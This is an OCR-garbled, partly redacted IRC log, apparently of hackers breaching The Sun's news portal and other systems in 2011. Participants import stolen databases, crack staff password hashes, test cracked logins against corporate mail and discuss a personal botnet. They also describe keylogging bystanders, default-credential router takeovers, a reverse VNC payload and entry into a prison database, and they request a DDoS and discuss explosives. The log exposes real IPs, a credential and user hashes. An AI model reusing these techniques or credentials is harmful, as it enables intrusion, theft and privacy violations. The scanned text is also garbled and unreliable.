:C 
ai : D 

<3 
<3 

hows you? 
fiiiine 
and you? 
same :D 

same same smae 

http : //www . youtube . com/watch?v=MtNlynoL46Q 
"'dances* :3 
wat 
the fuck 
it's funny xD 
he gets rly angry xD 
listenin to it 

esun . CO . uk/sol /homepage/news/63000/68880/Got-a-story-Send-i t-to-us-o 
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# lsunnydays.log 

n-63000 .httn1 

15:51 <^^^^^^H I think thats the data we got 

15:52 <|^^Mtroll duck is trolling 

15:52 <^|^Hi^H The news delivery service was developed by IT company MX 
Telecom,' while The information portal, into which the incoming UGC is collected 
was built by The Sun's Norwegian sister paper, Verdens Gang. 

fuck 

the dowrnoad brokedown 

TTy ? 

btw it kinda reminds me of this -> 

http V/www.youtube^om7watch?v=mmPRQoOpB4A 
llmao 
:d 

http : //www . youtube . com/watch?v=7 j j cAuEyw9M&f eatu re=rel mf u 

watch the second one 
tht one there aa xd 
watching it aa 
then watch the 3rd, he gets the nam and woman good xD 
http: //www. youtube . com/watch?v=Ru4a-js4My4&feature=relmfu 
man* 

how invests time in making these songs :D 
*who 

(at least i hit the right letters) 
xD Imao i love this duck 
lulz 

wtf there is a 4th song?! 

you watched the 3rd xD? 
yes : D 

http : //xkcd . com/920/ 
:p 

hover-over is best 
haha :D 

http : //xkcd . com/327/ 
thisA 

who will ever forget bobby tables 
i also love nerd sniping 
haha yeah 
\:D/ 

waddles away :3 
lulz 
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<• 
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<■ 
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;06 
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;06 
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;19 


<i 
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16; 
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<i 


16; 


; 34 


<i 


16; 
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16; 
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<i 


16; 


;44 




16; 
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<i 
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;51 


<i 


16; 


;53 


<( 






sup 





thinks shes a duck ? 

i hear you're a mad hacker 
axxor duck 

nl still dead? 



ernet.xs4all 
uhm i dunno 
not on efnet atm 
can you access this 
205.153.241.191:80 
? 

yes 
really? 
yes 

wtf 

its asking for login 
1 cant even access it 
what about this: 216.226.129.7:8080 

blank page 
okay 

FFUUUU i need to access to other one 
idk whats up with this thing 
ah got it 

\o/ this gonna be good 
what is it? 
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# lsunnydays.log 
ence Applications international Corporation 
that ip in specific 
another 
m :D 

it prompts for a login? 
another ip of the network 
se i could not access any 

did those sun db's import ok for you? 
Also im quite amazed by the trust & anonops nowadays, 
hardly anyone asekd "WHO the fuck are YOU!?" 

when joining certain channels T T 

did those sun db's import ok for you? 



must of just corrupted my dump 

6018396e.CB47d490.a27e456C.IP] has quit [User quit: 

[^■^^^^^^^1 has joined #!sunnydays 

he^ie^^^^^^^ 

! status 
Status: &.& 
hi 

thegi bson : /var/www/sun# Is -al 
total 941840 

root root 4096 Jul 

root root 4096 Jul 

root root ^^^^^H Jul 




Lost 



17 04:29 
17 04:11 
17 05:21 



backup. 



17:30 
17:30 
17:30 
17:31 
17:31 
17:31 
17:31 
17:31 
17:31 
17:31 
17:31 




drwxr-xr-x 2 
drwxr-xr-x 16 
-rw-r — r-- 1 
ar.gz 

thegi bson :/var/www/sun# tar xvzf vgportal2-backup.tar .gz 

gzip: stdin: not in gzip format 

tar: Child returned status 1 

tar: Error exit delayed from previous errors 

thegi bson : /var/www/sun# 

wtf? 

corrupt download? 








may be limited disc space 
ohai 

rm some things 
just nothing in var/www 

we have the source for the code that reads the db we found 
aaaaaah 

wanna do it yourself? 
try tar -xf blahdeblah.tar.gz 

and all the extra data 
I have not the SSH dox here 
im on a liveboot 
thats working 
oh bollix 
"feboat heh :) 
nice analogy 

I compressed it including the entire path 
-oh 

looks like felicity is dying :( 
Felicity is my cat 
she is perfectly finme 

*meow'' 
see 

she is FINE 
oheai t 

mm and my shell is horribly lagged 



the server? 



ye 



-is tar -xf working to extract? 
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#! sunnydays .log 
cos the thing you used 
xzvf 

never works for me 



IDK why, but -xf works every time :) 

has quit [User quit: Leaving] 
has joined #! su nnydays 
^^^^^^^^B by Chanserv 

:UST to get online (and have some lulz) I think I 

skill I have except music and chemistry... 

So next lock I need to break gets some H2S04 :D 
:D 

ETN would be more effective 
True :P 

I have 20g of that at home 

thermite 

thermite is not that win 

easy to obtain, very effective 
ETN is FAR better :D 

^^^^^B and I know our boom powders ::P 

ETN IS way to explosive 

ETN - voD 8000m/s, and sensitive enough to not-need 9001 tonnes 

to set her off 
lol 

ETN is fun, fun, fun, but not as fun as friday or pwning 




or accessin 
17:59 < _ 
the user o 

17:59 

information 
17:59 < 
are not aut 
17:59 < 



why can't i make more mysql users on the gibson 
there is no users table in information schema 
- root: admin is the MySQL user: pass 
I was being a lazy cunt 
I reset it 

couldn't figure it out 
its the same as the vps pass now 
oh, shite... My botnet is running off that :/ 
uh oh 

I'll reset 
Just set it back to root: admin 
its not a big botnet per se 
wi 1 1 do 
moreso "targets" 

the bot I use is kind of a hybrid bot/remote admin tool 
all the functionality of Darkcomet, and smaller than zeuS :D 
(Zeus is 70kb. Darkcomet is 600kb. My bot is 22kb) 
done 

whats the link? 

Read these Terms and Conditions of Use carefully before using 

g this News Portal 

This portal may contain sensitive information. It is you as 

thi s~portal who is responsible for 

protecting this information and the providers of this 

YOU should not let anyone else get access to this system who 
on zed for the use of this system. 

Remember to log out of this system when leaving your computer. 



18:00 < 

18:00 < 

for wi ndows , i 
18:00 < 
18:00 < 




Thx for the information :x 
g^^^^g - the botnet is controlled by a desktop application 
g^^^OL^he application later 
dont have it on my netbook 
like in the doe Procurement system, the nice info that very 
confidential material will clearly be marked as such 
18:00 <MHH^H lol 
18:00 <^^^S^| :D 
18:07 < ^^^^^Tlol 
18:07 < ^^^^B well 
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18:08 
18:08 
18:08 
18:08 
18:08 
18:08 
18:08 
18:09 
18:09 
18:09 
18:09 
18:10 
18:11 
18:18 
18:18 
18:18 
18:18 
18:25 
18: 
18: 
18: 
18:43 

18:45 . 

if you want I 
18:45 < 
18:45 < 
18:46 < 
18:46 < 
i nterese 
18:46 
18:47 
18:47 
boxes 
18:47 < 
18:47 < 
18:47 
18:47 
18:47 
18:48 
18:50 






19:51 



# lsunnydays.log 
that just marks goood targets 
http : //204 . 188 . 229 . 37/sun/sun/basedi r/i ndex . php 
it logged in a minute ago but won't login for me 
s? 
now 

all passes are antisec 
ppi cton 
rebekah 
rodders 
cant login 
ok 

nor can I :/ 
ok one sec 
ah 

i didn't import all the db's 
anyone needs: 
Cisco-SSH -> 119.46.46.138 true:1234567 

I you're being missed in #bucc 
anyone rami liar with hacking of oracle products? 
what product? 

any 

not really tbh 

- I have a massive list of ciscos somewhere for tunnelling 

can get em 

GRE tunels 

and Oracle... Mind if I "Phone a friend" for advice? 

he no longer hacks , he got busted in the 90' s 

I dont need any ciscos. And the oracle thing was just because im 

But thanks 

Ah, well he might have some good tips 

he still is interested in it, does some stuff testing his own 

111 ask has be any experience with Oracle stuff 

IIRC theres the padding attacks 

some information would be cool 
and the Go Derper tools 

111 gather some infodox tonight :) 

okay 

111 remain online, but for next few hours wont be here all time 

will hop on and off line 
you there 

i ' m af k for some time, if anything important happens you can reach 

has quit [Ping timeout] 

ok importing the db's again 
sunnydays [+o ^^^^^^ by I^H^^H 

as joined ^^unnyaays 
sunnydays L+o by ChanServ 

Oh guys 

stop the hash cracking 
we missed something 

$userpass = md5($this->userName. $this->userPass) ; 
uck 

so its salted with the name 
but how is this possible 
there was a hash 
and a user 
i nstal 1 

and the hash output was only install 
not i nstal 1 i nstal 1 
you sure? 

maybe that was put in manual 
I'm still trying to figure it out 
o 

oh 
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19: 
19: 
19:56 
19:56 



19:51 <' 
19:51 < 
passwor 
19:52 < 
19:52 < 
53 < 
53 < 
< 

19:58 < 
19:58 < 
19:58 < 
20:01 <' 
20:02 <' 
20:02 < 
20:03 < 
20:03 < 
20:03 
20:03 
20:03 
20:03 < 
20:03 < 
20:03 < 
20:04 <' 
20:04 <' 
20:04 <' 
20:04 <' 
20:04 
20:05 
20:06 
20:06 
20:06 
20:08 
20:08 
20:09 
20:11 
20:12 
20:13 < 
20:14 
20:15 
20:15 
20:15 
20:16 
20:16 
20:16 
20:16 
20:16 
20:17 




or news 
20:18 < 
http://2'04 
20:18 <' 
20:19 < 
20:19 <' 
20:20 < 
20:20 
20:22 
20:22 
20:23 
20:23 < 
20:23 
20:23 ~ 
20:23 < 
20:24 < 
20:24 < 
20:24 < 
20:24 < 
20:24 < 



#! sunnydays .log 
install had a blank password 

all the ones I have cracked had the same username and 

as in username = rodders password=roddersrodders 
oh and username= Scotland pass= scotlandscot 
tbh 

this code is confusing me 

install had a blank password 
es sense now 

but we may tell sabu to save his processors 
will we just target a few users to crack? 
no wonder we werent getting any easy ones 
sorry gtg 

But I'll be back tomorrow and we will get this working 

kay 

ok 

at least we know the hash format now 
_^JA186925 E ■ CB47D 490 ■ A27E456C . IP] has joined #!sunnydays 
mode/# !"sLmnyaays [+o ^^^^ by ChanServ 

we should target those 3 or 4 executives 

cracked some passes 
easy if we know salt 

and see if we can get mails 
yup 

but it will be slower with salt obvously 

Its okay 

i still got 3000 

million per second 
af 5f f f 6a5e454d6bal42044605c91b35 : rodders : peri sh 
cracked almost hald of them now 
weak passwords 
'•half 

https://pastee.org/t35pu 
#anti sec 
ok 

http : //204 . 188 . 229 . 37/sun/sun/basedi r/ 

s 

great work! 

guise, how long have we been working on this now? 
needs to keep track for the invoice 

ong 

^^^^1 you remember when it started? 

^ I got tR^^Ti like last Sunday 

Its funny how more than 50% have weak passwords 
haha 

only lowercase and <8 chars 

ya 

what could you expect from people who would work for the star 
the world! 

. 188 . 225 . 37/sun/sun/basedi r/admi n_i ndex. php?action=admi n_users 
ok gtg now 

talk to everyone tomorrow 
best of luck! 
ks 

bye 

http : //I eaks . ca sper . so/tn/ 

tweet marterial, ^H^^ 

seems to be a pTomem with the links 

check #reporter 







has quit [Ping timeout] 




year 

actually i wrote that 
oh heh 
doh 

TOO MANY CHANNELS 

D 

too many i res too 



Page 146 



60955 



20: 


;24 


<■ 


20; 


;24 


<i 


20; 


;34 


<i 


20; 


;35 


<i 


20; 


;36 


< 


20; 


;36 


< 


20; 


;36 


< 


20; 


;36 


<■ 


20; 


;36 


<i 


20; 


;37 


<i 


20; 


;37 


< 


20; 


;37 


< 


20; 


;37 


<■ 


20; 


;37 


<■ 


20; 


;38 


<i 


20; 


;41 




20; 


;41 




20; 


;41 
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;50 
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20; 


;51 


< 





#! sunnydays .log 
and too many clients 
ahaAA 

argh i missed the follower friday again :D 
-Sa turda y 
anon _|^^ is you then i suppose 
i didn't know or i would have included you 

next time 

but i'll follow you. :D 
\o/ :D that will double my followers 

no idea ^^^^g this Sun project in particular? 

ya^^ ?r the invoice 

ut~^^^^^B already said 
si nc^^a^^unday we looked at it 

but the real work didn't begin until Wednesday or so? 
joined on wed i think 

A87c441.perfect-privacy.com] has joined #!sunnydays 

1 just shut down my VM 

cracked 61/104 hashes now 

apparently there is a keyboard shortcut for it 
D haha 

oh nice., well want me to check for mailz? 

yes but these arent complex passwords 

has quit [Ping timeout] 

s now known as 

i will link you 
meh 

so prolly not reused 
but ill check 
https : //pastee . org/k6qze #anti sec 
thx 

the email adresses are here: 

http : //wi ki send . com/downl oad/242 594/sun_auth_new . htm 
login is probably here: 

https : //www. googl e . com/a/thesun . co.uk/Logi nAction2?servi ce=CPanel 









tney look promising 
ill check 

all others are ... hmm very much the same pattern 
its wei rd 

standard words all random mixed 
no exceptions but a handful 
got that new:auth file 
yeah thats because i cracked the easiers first 
current im cracking for 
0-9a-z 
ah ok 

so lowercase only checked? 
kk 

makes sense then 
oih ARENT complex 
i read are 
lol 

AA 

what was the old mail login panel? 
ftps : //remotemai 1 . newsi nt.co.uk 
tx 

*https 

not sure definitely more than a week 

ah exchan aom£mi\username or something? 
yeah 

thesun . co. uk\username? 
Tdk 

probably 

ye was sth like that 
doesnt look good 

so far no passwords work on either, tested 3 
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20:51 
20:51 
20:51 
20:51 
20:52 
sruff 
20:52 
20:52 
20:52 
20:52 
20:53 < 
20:53 <' 
20:53 < 
20:53 < 
20:54 
20:54 
20:58 
21:00 
21:01 
21:01 
21:01 
21:04 
21:04 
21:05 
21:06 
21:07 
timeou 
21:09 
21:09 
21:09 
21:09 
21:10 
21:10 
21:10 
21:10 
21:10 <' 
21:10 <' 
21:10 < 
21:10 < 
21:51 < 
21:51 < 
21:51 < 
22:04 < 
22:05 
22:08 
22:08 
22:08 
22:08 < 
22:08 
22:09 < 
22:09 < 
22:09 < 
22:09 < 
22:12 < 
22:13 
22:13 
22:13 
22:17 
22:18 
22:31 < 
22:31 < 
22:31 < 
22:42 < 
22:42 <' 
22:43 < _ 
night wit 
22:43 < 
22:52 < 







# lsunnydays.log 
yeah we probably have to wait until sabu is back 
and we can tell him about the salt fail 
then his hash-crack-buddies will crack the better omes 

ones 

which remidns me, ^| wanted to code an auto-checker for that 

although gmail is bitchy with captcha sometimes 
yeah hes still busy with this 
ah k 

havent talked to him in a while 
he asked me for a code snipped on wed 
and told me it probably will take time to finish this 
well, it's worth it i'd say 
it would save lots of time and tedious work 
heh 
deed 

gmail 's captcha makes me rage hard 
hought the guys of hydra were working on the gmail support 



ui se 

ry i was off trying to resolve some middle east shit 
[j^H^^HH^^^^^HH has joined #!sunnydays 
nnyoay^^^^^^^^^^^oy ChanServ 
luck witr^h^pw^^^^r 

nl ucky 

[^^^^g4B2700lE.B8C70A02.3978755B.IP] has quit [Ping 

join #!sec on anonops and who else has time 
for trapping jester clown 
clowns ! 

on anonops obv 



1 cant join #sec 
i cant join #!sec 
-> "ChanServ* invite #!sec 

ChanServ- Permission denied, 
no 

just join 
oh lawdy 
im back 

now for round two! 

Anyone here? 

has qui t [inp ut/output error] 
whre is ^^^g anyway 

i have a snmp list for him 

e art thao 

ai 

hai 

y u no anonops bucc? 
possibly never added hmm 

me? 

im not on anonops ATM 

ye 

has quit [Client exited] 
has joined #!sunnydays 
sunnydays L+o ^^^B^H by ChanServ 
you could troll eijesterrag tho :D 
we set up a honeypot chan 
ohrly? 
Tempti ng 

but, occupied ATM 
Heuston: we may have a problem 

I think we are missing a French person or something 
two of the French "scouting leaders" just rushed off into the 
s shouting "Clare?" 
this could be either lulzy or terrible... No idea :/ 
Ok... I have been told someone is ill or something 
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22:52 < 
22:52 < 
scumbags or 
22:59 




anyone know? 
23:17 < 
23:17 
23:17 
23:17 
23:18 
23:18 
23:18 
23:18 
23:19 
23:19 
23:19 
23:19 
23:19 < 
23:19 < 
23:20 < 
23:20 < 
23:20 
23:20 
23:20 
23:20 
23:20 
23:20 
23:20 
23:21 
23:21 < 
23:21 < 
23:21 < 
23:21 < 
23:21 
23:21 

23:21 H _ 
#! sunnyoays 
23:21 <' 





#! sunnydays.log 
goddamn language barrier 

I had rushed out into the night half expecting some local 

something bad 

" has joined #!sunnydays 

e/#! sunnydays L+o~^^^ by ChanServ 
sup 

IRL dramatics 

just had a girl damn near asphyxiate of a athsma attack 

from the panic outside, I thought somoene had been jumped by 

arseholes 
1ol 

so out I ran, torch, can of beer, and big fuck-that knife... 
and then "oh, lol, just someone ill" 

then I saw the severity of the malaise and was like "wow, that 

haha :D 
1 i ke a boss 
oh yeah 

'•laughs- IRL, im having MANY like a baws moments lately 
<3 all btw 

I wish I could have them online :( 
hi :) 

what is that hash jester posted on his twitter b4? 

lol? 

he posted it on twitter? 

Checks 
ah 

he posted a diff hash :p 
gogo! :p 

th3j35t3r 3 Sparrow ? Genuine 
C2dc37a7d9d3238877al27f2d5171c9d 
that was 5 hours ago 
ohhh 
damn lol 
didnt check heh 
i tought it too aa 
you in in his chan? 
hat chan? 
#jester 

wtf is that hash for? 
600.net . no ip masking 

no 

no idea, its to keep us distracted :p 

LOL 

fuck it so 

we got something better 
e basically trolled jester 
we had some fun with one of his spais before 
or two 

not sure yet 
:D 

e will leak logs, including a hash 
and this hash will own him 

kerpia-AE75E08F.upc-f.chello.nl] has joined 

(staged logs) 

hai! 

is on a stage again 
ip maksing fail 

hey 
yes 

wtf is this "masking" 
fix that shit :p 

|kerpi a-AE75E08F . upc-f . chel lo.nl) has 
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#! sunnydays .log 
it resolves hostnames 
lol 
al so 

this is some random hotspot 
ad , mkay? 

it's unreal masking, 
dent care about YOUR host 

if you tell me how to turn off hostname resolving... 

neither about mine :p 
meh ask or so 

lol 

dont run ire with you maniacs :p 
check telecomix 
all hosts are ©osiris or so 
no need for vhost at all 
but you all use sucky ire *rant* 
' yes, only 1. I run a vanilla unrealircd set;up because I have 
moclify it 2. the main intention of this network was never full 





Y SO UNREAL 

use something sane., like., ratbox.. 
because it just runs, 
with almost no configuration, 
doesnt 

with proper familiar services. 

err 

commands*\ 
_ s buggy 

23:25 < ^H^^^^l never had issues with it :P 
23:25 < ^^^^^Miobody needs servbices 
only serves vanity 
:p 

but yeha 

i am ranting atm 
plz ignore 
lol 

I need services 
: P 

and so do other people that want to use this network, usually 
you're too young, my friend :D 
counterrants 

rants about what brand of tea is better 
just has a shitton of different flavors 
has fookin Barrys! Yeah! 
1 think i got access to some law enforcement database 
but only from a US county 
oh its some prison-system 
interesting to read 
internal notes 
lol 

you're the man as usual 
an^i cant dump it properly, as usual 

that would be fun tho 
lol they logged every visitor since 2000 
or movements of the criminals 
with reasonAA 
this gonna be a long night 
i really want to dump this 

wn^^^ops us from dumping properly? 

oracl e 
lol 

well i probably could wi rte a java application 
■ wri te 

thats able to dump it 

has quit [Ping timeout] 
has joined #! sunnydays 
mocie/#! sunnydays L+o by ChanServ 
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57 
57 
59 
59 

Day 

00:00 <' 
00:00 < 
00:01 < 
command 
00:01 < 
00:01 
00:01 
00:02 
00:02 
00:02 
track 
00:02 
00:03 
00:03 
00:03 
00:04 
00:04 
00:04 
00:04 
00:04 
00:04 
00:05 
00:07 
00:07 
00:07 
00:07 
00:07 
00:07 
00:07 
00:07 
00:07 



# lsunnydays.log 
I'm asking my guy ATM for advice on Oracle 
dumping the database alone wont help 
i need to isolate the whole application server 
kk nice 

he said he will send some info to my Hushmail acct 
is it bad my ping on this public wifi AP is better than at 

Nope 

most public and/or hacked wlan are faster than ©home 
1ol 

the one I am on, is very fast. Only because, no other clients 
minutes before I kill them 
sitting in a rootshell on the router :D 
loooool 

so easy to pwn them routers 
telnet 192.168.1.254 
then if it says "login" 
admi n : admi n 

if it just says "password" "broadbandl" 
then "magic" gives you a root shell on it 
rofl 

s server could contain police emails 
investigating nowAA 
oooh! 

chingra le mingra 4 :D 
lol 

ecu re died again 

or 

is in trouble 
*sigh* 

ooks like this is their main. server 
thecure is one of the most stable ones, has best ddos protection 
but they f i re hard 
felicity is up 
-/ i need to punch a hole in their firewall 
since its a windows server 
ged Sun Jul 17 2011 

vnc or some graphical access would make things eaiser 
ther e actually things you cant do by command line on windows -.- 

I'm more surprised at the fact there are things you CAN do by 

ne on windows 
lol 

LOL 

perhaps 

use a Fast Track payload 
use command line 

to FTP get a reverse VNC payload made with meta sploit or fast 

use that for da gui 
>reverse vnc 
thats it AA 

problem solved? 
also, cocks 

of the three french girls my age 

two are either lesbian or really affectionate and close friends 

ARGH 

just my fucking luck 
ROFL 

ey 

hey B :) 

hmmmmm. . . . 

ey bro 

Odds of ^^^^B turning a lesbian or two straight? 

pretty drunke^^^^^^ 

well 

they would need to be 
*threesome* 
lol 
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http://whoi 
00:11 <■ 
00:11 
00:11 
00:12 
00:13 < 
00:13 
00 : 14 
attention 



#! sunnydays.log 

Im actually not even started properly drinking 
it was interrupted by the drama 
m rucked :-S 
lulz 
"the drama" 
lulz 

runk drunk drunk 

<g^^^BOdds of ^^^^^1 turning a lesbian or two straight? 

Odds of ^^^^B turning a lesbian or two bi? 

resent 
P 

sup 

^^^^^H thanks :D brightened my night :D 

noM^^learn moar french 

anyone said girls? lesbians and threesome? 
rofl 

anyone here got access to any bots? 
oh yeh ^^H^^ 

could yoiO^t this bitch ass motherfucker offline: 

s .domai ntoo I s . com/ /6. 224. 225 . 148 

<^^^^^^B SHALL 

apparen^^^ome Team Poison guy 
this guy has allegedly been doxing them 
(not ^^^^^^g the IP) 

as you can see, im having a potentially good night 
Chi I ling, netbook open, hacked wiFi, and girls present 
they all want to check their facebooks, etc, so im getting 

lol 

keylog the shit out!! 
one step ahead :P 
been doing that for the last year 
"can I check my facebook?" *keylogger active* "of course!" 

haha 

= not team pOison 

ngnt? 
NO idea 





00:15 < 
00:15 < 
00:18 < 
00:18 < 
00:18 < 
00:18 <' 
00:19 < 
00:19 < 
00:20 < 

00:20 < . 

http : //www . ch roni cl e . su/ news/total 1 yf al se-i nf o-i s-an-anonymous-psy-op-by- 
what the fuck 

reading now 
http : //twi tpi c . com/5 rami f /f ul 1 
what the fuck. . . 
lol 

te fuck is this 
at both 

LOL 




00:20 
00:21 
00:21 
00:21 
00:22 
00:22 
00:22 
00:22 



<| 
<| 
<| 
<| 
<| 
<| 

23 < 



00:22 
00:22 
00 

00:23 < 
00:24 <' 
00:25 < 
00:25 
00:27 
00:27 
00:27 
00:28 
tent for 
00:28 
00:28 
00:28 < 
00:30 
00:30 
00:30 
Th3j35t 






ronicle.su just made lulz ensue 
I am just wating all over the place 
wat wat wat 

the fuck is this btw: http://totallyfalse.info/ 
http : //total 1 yf al se . i nf o/?p=68 

lulz 

LOL 

doxed 
ooks totally legit! 

brb, one last shot, seems they are thinking of going to their 

ght 

only 2 nights left to try! 
(not incl tonight( 
so imma try harder now 
http: //twi tter.com/#!/^^^^^status/92391439908077568 

1 , you gotta hurry 
Comment: "Dude, C'mon, he probably tags his fucking underwear with 
is guy is so self obsessed he probably puts a mirror on the shower 
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floor and 
me wrong, 
00:30 < 
00:30 < 
00:30 < 
00:31 < 
i nternets 
00:32 
32 
33 
33 
34 




and 



00: 
00: 
00: 
00: 




00:38 

https : //paste 
00:40 ■ 
00:40 
00:40 
00:40 
00:40 
00:41 
00:41 <' 
under a 

00:41 

stupid recoi 
or so 
00:44 <' 

00:44 < 

latest submis 
00:44 
00:47 
00:47 
00:47 
00:47 
00:47 




#!sunnydays.log 

ks off to the sight of his own ass. I appreciate his work, don't get 
his name is his mark of course he uses it elsewhere." 
retort applied, butthurt form dispensed 
:D 

about to post my "Liek a baws" post I wrote this morning 
its a recap of the ninja skills applied thus far while seeking 

woman 

http : //twi tter . com/# ! /anon_™™status/92391999348547585 

i'm trolling jesterfags bad ly 
how 

lol not sure yet 

ill put the logs online in a min 

(the last two days of be ing a fucking ninja) 

e.org/x2v4m pass = ^^^^^^ 

WtfA 

- wierd days are WIERD 
as one of my mates says 
when we do wierd 
we do it RIGHT 

z 

(and yes, I can strip and reassemble a M1911 blindfolded in 

a Clock takes a while to reassemble because of the fucking 

spring design, and a M9/Beretta 92 is ^^^^H to do in 70 seconds 





can you please clear up the spam on AnonNews.org 
sions/ I didn't make that yt video, esp. the "by ^^^^^ one 

that just chronicle being niggers 
gimme a sec 
also 

highlight 
instead oi 

I'm on 1 aptop atm : P 
bal eeted 

has quit [Ping timeout] 





01:03 . 

Complete dump 
01:03 <' 
01:18 m 
termi n^U 
01:23 
01:24 
01:27 



awesome 

sorry _i just finished the butthurt form 

as joined #!sunnydays 
sunnydays L+o ^^^^^^^ by ChanServ 

thanks 

I might go to sleeping soon 

thinking that maybe need sleep, have 4 hours to do so 
_ http://uploading.com/files/c9869ec7/bbpress.rar/ 
of Tiasaeauc^non .org 

hashes, info etc. coolest thing is the hashes 

Al»by25E . CB47D490 . A27E456C . IP] has quit [User quit: Lost 





of expected u 
01:33 < 
01:33 < 
01:36 < 

01:42 < 

what does the 
01:42 < 
01:42 < 

01:42 < 

with command] 
01:43 < 




C997d6e 7.CB47d 490.a27e456C.IP] has joined #!sunnydays 

e7#! sunnydays [+o ^^^^ by ChanServ 

HA 

fuck this server 
finally owned it 
http://teamviewer.com/ ftw 
backz 

wb 

sambowne RT @awinee: Silly Awinee using a 8 key password. Should 
s. Time to have some fun now. #anon #antisec <--rut roh 
lol? 
hehe 

XD 

_ cyborg527 See Conversation ©anonymouSabu OAnonymousIRC How and 
AntisecShell do? #AntiSec 

7 

anti secshel 1 ? 

lol i actually managed it to setup teamviewer from SYSTEM account 
ine on windows 
took about 2 hours but works 
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01:43 
01:43 
01:43 
01:43 
01:43 
1 nternet 
01:43 < 
01:44 <' 
01:44 <' 
01:44 < 
01:44 < 
01:44 < 
01:44 < 
01:44 <' 
01:44 
01:44 
01:44 
01:44 
01:44 <' 
01:45 < 
01:45 < 
01:45 <' 
01:45 < 
01:45 <' 
01:45 < 
01:45 <' 
01:45 < 
01:46 
01:46 
01:46 
01:46 
01:46 
01:46 
01:47 
01:47 <' 
01:52 < 
01:52 < 
01:52 < 
01:57 < 
01:57 
vweakl an 
01:57 < 
01:57 < 
01:57 < 
achmieli 
01:57 < 
01:57 < 




:D 



# lsunnydays.log 
haha teamviwer is indeed nice 
owened my boss with it once 
he never knew 

) 

i shake my hands over companies who use that, especially over 



hav ethis code somewhere 






it's insane 
its actually pretty secure 
if used properly 
mmmm. no? 
:) 

not at all 
actually 
why? 

i may still 
ill let you know 
gimme 1-2 days 
you can set own auth codes 
its as secure as ssh is 

you can change master/client 
you're suddenly master as client 
you can disable that in config 

mm since when? 
idk but its possible just saw it 

wel 1, ill dig it up 
but that does not make the app less secure 
maybe it woerx 

technically its not less secure than other protocols i guess 
implementation is the key 
as usual 

PKI? perfect 

implement it wrong., you're screwed 
cant see any mistakes in the implementation also 
the key is how user configures and uses it 
Is -al 



tpepe : ef08ae131a6a0dd8fa6CC84294f4C641 : montco : montco . montcopa .org 

BE60915C337FCD8125603339BA283:montco: montco.montcopa.org 

dxs : 3141DE613 330a6da65C6e3861a192663 : montco : montco . montcopa .org 
dxk : BAB67Cf3081Ca3f126531a524D44658d : montco : montco . montcopa .org 



9C7DC6560E86A1747D42B1C641D0F7C2 : montco : montco . montcopa .org 

kxh : 691E979C843BFE1CEEE4A2B3DE294DAF : montco : montco . montcopa .org 
axo : DF2D1C47D3CC32B6ABE6756BF8004B02 : montco : montco . montcopa .org 




01:57 < 

mbasti an :a784e4bd910817baad66CCf05Ce1baf5 : montco: montco. montcopa. org 
01: 57 <@^^m dxg:C56E4DE302202D5DFB059D24A90D7146: montco: montco. montcopa. org 
01:57 <@^B 

cthompso:BB2EF9lAFF7B8F4lAC56E035DF28EB9F: montco: montco. montcopa. org 
can anyone crack these? 

(^^^^gsambowne rt @awinee: Silly Awinee using a 8 key 
of expected us. Time to have some fun now. #anon #antisec < — rut 




01:57 < 
01:57 < 
passwor 
roh 

01:57 < 

02:05 I 

[Ping timeout 

02:15 <' 
02:18 

#! sunnyoays 
02:20 ' 
02:20 
02:22 
02:22 
02:22 
02:22 



rofl 





kerpia-63B8706F.dialup.adsl .anteldata.net. uy] has quit 

im so close gettin in this law enforcement cms 

|kerpia-56151789.dialup.adsl .anteldata.net. uy] has joined 

:D 

link _ 
sunnydays 



mode/#! sunnydays 
its internal 
ok 
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#! sunnydays .log 

127.0.0.1:8008 
is the link :D 
lol 

how you connected in? 
story 

http : //198 . 7 . 132 . 58 : 8080/i nmatel ookup 

thisA 

i s how i got 




has quit [Ping timeout] 



we might to access to AFIS :> 
.ud AFIS 

damn, where is effexor :p 
http : //en . wi ki pedi a . org/wi ki /Automated_f i ngerpri nt_i denti f i cati on 

Athi s 

lol 

set up your own supy 

nah 

go away wi f bots 



still talking to me -.- 

Starting query in anonops with 



(DO NOT JOIN #KILL!!)) 
02:49 <(< 
closed] 



i have only one ReQuest 
can u answer me 
plz 

[leo@AN-s3m 



[leo@AN-s3m 



bOq. 589rcm.IP] has quit 
bOq. 589rcm.IP] has quit 



[Killed (Killer 
[Quit: Page 



02 
02 
02 
02 
02 
03 



49 
49 
52 
53 
55 
00 




03:06 
04:25 
04:30 

04:30 <@Sabu> was out oall 
04:30 <@Sabu> win 9 
04:39 
[User 
04:47 
04:47 
04:47 



lol 

just checked mah query 
lol i found a design error in many of these police system 
can hack much more with this knowledge 
we need more guise :/ 

C997D6E7.CB47D490.A27E456C.IP] has quit 

has quit [Connection reset by peer 
as quit [User quit: Leaving] 




[Ping timeout] 



04; 
04; 
05; 
05; 



47 
47 
02 
02 



workspace 
05:32 <" 
lulzsec 
05:32 < 
05:33 < 
05:58 
06:23 
quit: 

06:24 H _ 
#! sunnyoays 
07:47 
07:47 < 
09:25 
quit: 
09:37 





kerpia-56151789.dialup.adsl .antel data. net. uy] has quit 

eaviTig] 

ohai Sabu 
al so 

my javascript desktop environment now allows window resizing 
including configurable minimum and maximum widths and heights 
and even disallowing resizing for a window altogether 
http : / /yuni cc . ws/bl adi ebl a/ j sde . html 

window resizing (that can be enabled/disabled per window), 
n width and height.. 

try to not get a flamewar going between ^ and 

atever, ok? 

I don't feel like being in the middle of yet another ^^^^^g 
especially @ ^^^^g 

as quit [User quit: bbl fellas] 

erpia-AE75E08F.upc-f.chello.nl] has quit [User 

kerpia-AE75E08F.upc-f.chello.nl] has joined 





is sitting there -> http://imgur.com/RqxWI 
h ttp://imgur . com/ob9XK 
■ kerpi a-AE75E08F . upc-f . chel lo.nl] 




4B27001E. B8C70A02 . 3978755B . IP] 
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#! sun nyda ys 

09:37 mode/# ! sunnydays 
09:37 
09:53 
10:26 
[input 
10:26 H _ 
#! sunnyoays 
10:27 

10:27 H mo 
11:20 . 
[input 
11:20 H _ 
#! sunnyoays 
11:24 <■ 
11:25 
11:29 
11:31 



#! sunnydays .log 

by Chanserv 




has quit 
8755B.IP] 



[User quit: 
has quit 



BRB] 



b8C70a02.3978755b.ip] has joined 



has joined #! sunnydays 

ChanServ 

B^70a02.3978755B.IP] has quit 

4b27001e.b8C70a02.3978755b.ip] has joined 



back back back! 
:> 

Hi _ 
<: 

ows it going? 
really fine thanks bro.. 

looking about a good server for join public anonops 
have you some server to suggest me ? 

sorry 

I don'^<now 

94.75.228.146/6667 

kk lemme try 




need to find a server that allow tor connection 
ok 



11:37 
11:37 
11:38 
11:39 
11:51 
connecty 
11:51 < 
11:52 < 
12:07 < 
